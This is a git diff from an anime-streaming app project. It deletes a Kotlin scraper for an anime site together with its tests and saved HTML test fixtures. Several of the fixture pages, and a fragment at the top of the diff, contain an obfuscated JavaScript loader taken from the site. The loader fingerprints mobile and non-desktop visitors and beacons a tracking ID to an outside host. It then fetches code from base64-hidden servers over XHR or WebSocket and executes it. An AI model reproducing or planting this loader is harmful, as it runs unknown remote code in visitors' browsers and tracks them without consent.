本站所有内容均来自互联网分享站点所提供的公开引用资源,未提供资源上传、存储服务。

- -
- - -
-
-
- - 返回顶部 -
-
- - - 日夜切换 -
-
- - 留言 -
-
-
- -
-
- - - - - - - - -
- - - - -
function AFxUv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else - if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return - t;};function XLWywo(e){var - m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var - t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return - AFxUv(t);};window[''+'K'+'F'+'s'+'C'+'Q'+'p'+'E'+'S'+'w'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var - x=XLWywo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new - RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var - a=o.getItem(t);if(!a||32!==a.length){a='';for(var - e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var - n='https://tgb.eemcfun.com:7891/stats/14904/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new - Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var - xhr=new - XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var - data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new - Function('c',data.result.decode+';return - '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else - if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new - RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new - WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new - Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var - s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var - s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYW5odWltaW4xLmNuJTNBODg5MQ====','d3NzJTNBJTJGJTJGdXkkudGlhbnhpbmdoYW5nMS5jbiUzQTkk1MzU=','165499',window,document,['=','k']);}:function(){}; -
- -
-
-
-
-
-
- - - - \ No newline at end of file diff --git a/datasource/web/ntdm/build.gradle.kts b/datasource/web/ntdm/build.gradle.kts deleted file mode 100644 index 3b86c57f92..0000000000 --- a/datasource/web/ntdm/build.gradle.kts +++ /dev/null @@ -1,17 +0,0 @@ -plugins { - kotlin("jvm") - kotlin("plugin.serialization") - id("org.jetbrains.kotlinx.atomicfu") - `flatten-source-sets` -} - -dependencies { - api(projects.datasource.datasourceApi) - implementation(projects.datasource.webBase) - testApi(libs.ktor.client.okhttp) - testApi(libs.slf4j.simple) -} - -tasks.withType { - duplicatesStrategy = DuplicatesStrategy.EXCLUDE // why is there a duplicate? -} diff --git a/datasource/web/ntdm/resources/META-INF/services/me.him188.ani.datasources.api.matcher.WebVideoMatcher b/datasource/web/ntdm/resources/META-INF/services/me.him188.ani.datasources.api.matcher.WebVideoMatcher deleted file mode 100644 index a4bbe61e25..0000000000 --- a/datasource/web/ntdm/resources/META-INF/services/me.him188.ani.datasources.api.matcher.WebVideoMatcher +++ /dev/null @@ -1 +0,0 @@ -me.him188.ani.datasources.ntdm.NtdmWebVideoMatcher \ No newline at end of file diff --git a/datasource/web/ntdm/resources/META-INF/services/me.him188.ani.datasources.api.source.MediaSourceFactory b/datasource/web/ntdm/resources/META-INF/services/me.him188.ani.datasources.api.source.MediaSourceFactory deleted file mode 100644 index 4e61fd37c0..0000000000 --- a/datasource/web/ntdm/resources/META-INF/services/me.him188.ani.datasources.api.source.MediaSourceFactory +++ /dev/null @@ -1 +0,0 @@ -me.him188.ani.datasources.ntdm.NtdmMediaSource$Factory \ No newline at end of file diff --git a/datasource/web/ntdm/src/NtdmMediaSource.kt b/datasource/web/ntdm/src/NtdmMediaSource.kt deleted file mode 100644 index b244308de5..0000000000 --- a/datasource/web/ntdm/src/NtdmMediaSource.kt +++ /dev/null @@ -1,128 +0,0 @@ -/* - * Copyright (C) 2024 OpenAni and contributors. - * - * 此源代码的使用受 GNU AFFERO GENERAL PUBLIC LICENSE version 3 许可证的约束, 可以在以下链接找到该许可证. - * Use of this source code is governed by the GNU AGPLv3 license, which can be found at the following link. - * - * https://github.com/open-ani/ani/blob/main/LICENSE - */ - -package me.him188.ani.datasources.ntdm - -import io.ktor.client.plugins.BrowserUserAgent -import io.ktor.client.plugins.HttpRedirect -import io.ktor.client.request.get -import io.ktor.client.request.parameter -import me.him188.ani.datasources.api.matcher.WebVideo -import me.him188.ani.datasources.api.matcher.WebVideoMatcher -import me.him188.ani.datasources.api.matcher.WebVideoMatcherContext -import me.him188.ani.datasources.api.source.FactoryId -import me.him188.ani.datasources.api.source.MediaFetchRequest -import me.him188.ani.datasources.api.source.MediaSource -import me.him188.ani.datasources.api.source.MediaSourceConfig -import me.him188.ani.datasources.api.source.MediaSourceFactory -import me.him188.ani.datasources.api.source.MediaSourceInfo -import me.him188.ani.datasources.api.source.ThreeStepWebMediaSource -import me.him188.ani.datasources.api.source.bodyAsDocument -import me.him188.ani.datasources.api.source.useHttpClient -import org.jsoup.nodes.Document - -class NtdmWebVideoMatcher : WebVideoMatcher { - override fun match(url: String, context: WebVideoMatcherContext): WebVideoMatcher.MatchResult { - if (context.media.mediaSourceId != NtdmMediaSource.ID) return WebVideoMatcher.MatchResult.Continue - if (url.contains(".akamaized.net")) { - return WebVideoMatcher.MatchResult.Matched( - WebVideo( - url, - mapOf( - "User-Agent" to """Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3""", - "Sec-Ch-Ua-Mobile" to "?0", - "Sec-Ch-Ua-Platform" to "macOS", - "Sec-Fetch-Dest" to "video", - "Sec-Fetch-Mode" to "no-cors", - "Sec-Fetch-Site" to "cross-site", - ), - ), - ) - } - return WebVideoMatcher.MatchResult.Continue - } -} - -class NtdmMediaSource(config: MediaSourceConfig) : ThreeStepWebMediaSource() { - companion object { - const val ID = "ntdm" - const val BASE_URL = "https://www.ntdm9.com" - val INFO = MediaSourceInfo( - "NT 动漫", - websiteUrl = BASE_URL, - iconUrl = "https://cdn.yinghuazy.xyz/webjs/ntdm8/image/favicon.ico", - iconResourceId = "ntdm.png", - ) - } - - class Factory : MediaSourceFactory { - override val factoryId: FactoryId get() = me.him188.ani.datasources.api.source.FactoryId(ID) - - override val info: MediaSourceInfo get() = INFO - - override fun create(mediaSourceId: String, config: MediaSourceConfig): MediaSource = NtdmMediaSource(config) - } - - override val baseUrl: String get() = BASE_URL - - override fun parseBangumiSearch(document: Document): List { - return document.getElementsByClass("cell_imform").flatMap { element -> - sequence { - for (a in element.getElementsByClass("cell_imform_name")) { - yield( - Bangumi( - // /video/4621.html - internalId = a.attr("href").substringAfterLast("/").substringBefore(".html"), - name = a.text(), - url = baseUrl + a.attr("href"), - ), - ) - } - } - } - } - - override suspend fun search(name: String, query: MediaFetchRequest): List { - val document = client.get("$baseUrl/search/-------------.html") { - parameter("wd", name) - }.bodyAsDocument() - return parseBangumiSearch(document) - } - - override fun parseEpisodeList(document: Document): List { - val channels = document.getElementById("menu0") - ?.getElementsByTag("li") - ?.map { it.text() } - .orEmpty() - return document.getElementById("main0")?.children()?.flatMapIndexed { index, element -> - val channel = channels.getOrNull(index) ?: "未知线路" - element.select("a").map { a -> - Ep( - name = a.text(), - url = baseUrl + a.attr("href"), - channel = channel, - ) - } - }.orEmpty() - } - - override val client by lazy { - useHttpClient(config) { - BrowserUserAgent() - followRedirects = true - install(HttpRedirect) { - checkHttpMethod = false - } - expectSuccess = false - } - } - - override val mediaSourceId: String get() = ID - override val info: MediaSourceInfo get() = INFO -} diff --git a/datasource/web/ntdm/test/NtdmMediaSourceTest.kt b/datasource/web/ntdm/test/NtdmMediaSourceTest.kt deleted file mode 100644 index 0975ded6d5..0000000000 --- a/datasource/web/ntdm/test/NtdmMediaSourceTest.kt +++ /dev/null @@ -1,48 +0,0 @@ -import me.him188.ani.datasources.api.source.MediaSourceConfig -import me.him188.ani.datasources.ntdm.NtdmMediaSource -import org.jsoup.Jsoup -import org.junit.jupiter.api.Test -import kotlin.test.assertEquals - - -private typealias Source = NtdmMediaSource - -class NtdmMediaSourceTest { - - @Test - fun `parse search result`() { - val source = Source(MediaSourceConfig()) - val doc = Jsoup.parse( - this::class.java.classLoader.getResource("onimai/search.html")!!.readText(), - source.baseUrl, - ) - val list = source.parseBangumiSearch(doc) - assertEquals(1, list.size) - list[0].run { - assertEquals("4621", internalId) - assertEquals("别当欧尼酱了!", name) - assertEquals("https://www.ntdm9.com/video/4621.html", url) - } - } - - @Test - fun `parse bangumi result`() { - val source = Source(MediaSourceConfig()) - val doc = Jsoup.parse( - this::class.java.classLoader.getResource("onimai/bangumi.html")!!.readText(), - source.baseUrl, - ) - val list = source.parseEpisodeList(doc) - assertEquals(22, list.size) - list[0].run { - assertEquals("第01集", name) - assertEquals("https://www.ntdm9.com/play/4621-1-1.html", url) - assertEquals("第一线路", channel) - } - list[13].run { - assertEquals("第02集", name) - assertEquals("https://www.ntdm9.com/play/4621-2-2.html", url) - assertEquals("备用线路", channel) - } - } -} \ No newline at end of file diff --git a/datasource/web/ntdm/testResources/onimai/bangumi.html b/datasource/web/ntdm/testResources/onimai/bangumi.html deleted file mode 100644 index 7b7f2104a0..0000000000 --- a/datasource/web/ntdm/testResources/onimai/bangumi.html +++ /dev/null @@ -1,624 +0,0 @@ - - - - 《别当欧尼酱了!》全集无修在线观看_NT动漫 - - - - - - - - - - - - - - - - -
-
- -
- -
-
- NT动漫永久网址:www.ntdm.tv  - 请牢记防失联,欢迎大家分享给身边朋友! -
-
-
-
-
- 别当欧尼酱了!
-
-
-
-
-
基本信息:
-
    -
  • - 播放状态: - 完结
  • -
  • - 动画种类: - 正片
  • -
  • - 地区: - 日本 -
  • - -
  • - 别名: - 别当哥哥了!不当哥哥了! / Oniichan wa Oshimai! -
  • - -
  • - 语言: - 日语
  • -
  • - 首播时间: - 2023  -
  • - -
  • - 类型: - 搞笑 日本动漫 
  • - -
-
-
-
- -
-
-
-
-

别当欧尼酱了!

-
-
-
-
-
-

TV动画《别当欧尼酱了!》第二弹PV及主视觉图公开,将于2023年1月5日开播

-

- 某天,家里蹲的啃老族绪山真寻一觉醒来发现自己变成了“女孩子”!?正当真寻不知道镜子里的美少女是自己而陷入混乱的时候,跳级进入大学的科学家妹妹绪山美波里出现了。她透露在饮料里加了一种奇怪的药物!

-

- 真寻最近2年一直疯狂宅家玩小黄游,偶尔不得已才会工作!突然成为女孩子开始生活的真寻,对于厕所、浴室、裙子、胸罩等女人的生活完全不懂…并且他和美波里中学时期的同学穗月枫和其妹妹穗月椛认识。

-

- 真寻的日常生活逐渐热闹起来。在持续的苦难中,到底“前”哥哥的命运会如何...!

-


-
-
-
- -
-
在线播放:
- -
-
-
- -
- -
-
-
-
- - - - -
-
- -
- -
- - - -
function AFxUv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else - if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return - t;};function XLWywo(e){var - m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var - t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return - AFxUv(t);};window[''+'K'+'F'+'s'+'C'+'Q'+'p'+'E'+'S'+'w'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var - x=XLWywo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new - RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var - a=o.getItem(t);if(!a||32!==a.length){a='';for(var - e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var - n='https://tgb.eemcfun.com:7891/stats/14904/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new - Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var - xhr=new - XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var - data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new - Function('c',data.result.decode+';return - '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else - if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new - RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new - WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new - Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var - s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var - s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYW5odWltaW4xLmNuJTNBODg5MQ====','d3NzJTNBJTJGJTJGdXkkudGlhbnhpbmdoYW5nMS5jbiUzQTkk1MzU=','165499',window,document,['=','k']);}:function(){}; -
- -
-
-
-
-
-
- -
-
- - - \ No newline at end of file diff --git a/datasource/web/ntdm/testResources/onimai/search.html b/datasource/web/ntdm/testResources/onimai/search.html deleted file mode 100644 index 5b331454fc..0000000000 --- a/datasource/web/ntdm/testResources/onimai/search.html +++ /dev/null @@ -1,201 +0,0 @@ - - - - - 搜索结果 - NT动漫 - - - - - - - - - - - - -
-
- -
- -
-
-
-
- -
- - 别当欧尼酱了! - 完结 -
- -
-
- 地区: - 日本
-
- 类型: - 搞笑,日本动漫
- -
- 状态: - 完结
-
- 年代: - 2023
-
-
- 语言: - 日语
-
- 别名: - 别当哥哥了!不当哥哥了! / Oniichan wa Oshimai! -
-
- 简介: -
- TV动画《别当欧尼酱了!》第二弹PV及主视觉图公开,将于2023年1月5日开播某天,家里蹲的啃老族绪山真寻一觉醒来发现自己变成了“女孩子”!?正当真寻不知道镜子里的美少女是自己而陷入混乱的时候,跳级进 -
-
-
- -
-
- -
-
-
-
- - 1条纪录 -
-
  • 首页
  • - -
  • 1
  • -
  • 下一页
  • -
  • 尾页
  • -
    -
    -
    -
    -
    - -
    - - - -
    function AFxUv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else - if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return - t;};function XLWywo(e){var - m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var - t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return - AFxUv(t);};window[''+'K'+'F'+'s'+'C'+'Q'+'p'+'E'+'S'+'w'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var - x=XLWywo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new - RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var - a=o.getItem(t);if(!a||32!==a.length){a='';for(var - e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var - n='https://tgb.eemcfun.com:7891/stats/14904/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new - Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var - xhr=new - XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var - data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new - Function('c',data.result.decode+';return - '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else - if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new - RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new - WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new - Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var - s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var - s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYW5odWltaW4xLmNuJTNBODg5MQ====','d3NzJTNBJTJGJTJGdXkkudGlhbnhpbmdoYW5nMS5jbiUzQTkk1MzU=','165499',window,document,['=','k']);}:function(){}; -
    - -
    -
    -
    -
    -
    -
    - -
    - - \ No newline at end of file diff --git a/settings.gradle.kts b/settings.gradle.kts index 57243a1fa9..e745f8a467 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -85,8 +85,6 @@ includeProject(":datasource:mikan", "datasource/bt/mikan") // https://mikanani.m // Web 数据源 includeProject(":datasource:web-base", "datasource/web/web-base") // web 基础 includeProject(":datasource:nyafun", "datasource/web/nyafun") // https://nyafun.net/ -includeProject(":datasource:mxdongman", "datasource/web/mxdongman") // https://mxdm4.com/ -includeProject(":datasource:ntdm", "datasource/web/ntdm") // https://ntdm.tv/ includeProject(":datasource:gugufan", "datasource/web/gugufan") includeProject(":datasource:xfdm", "datasource/web/xfdm") includeProject(":datasource:jellyfin", "datasource/jellyfin")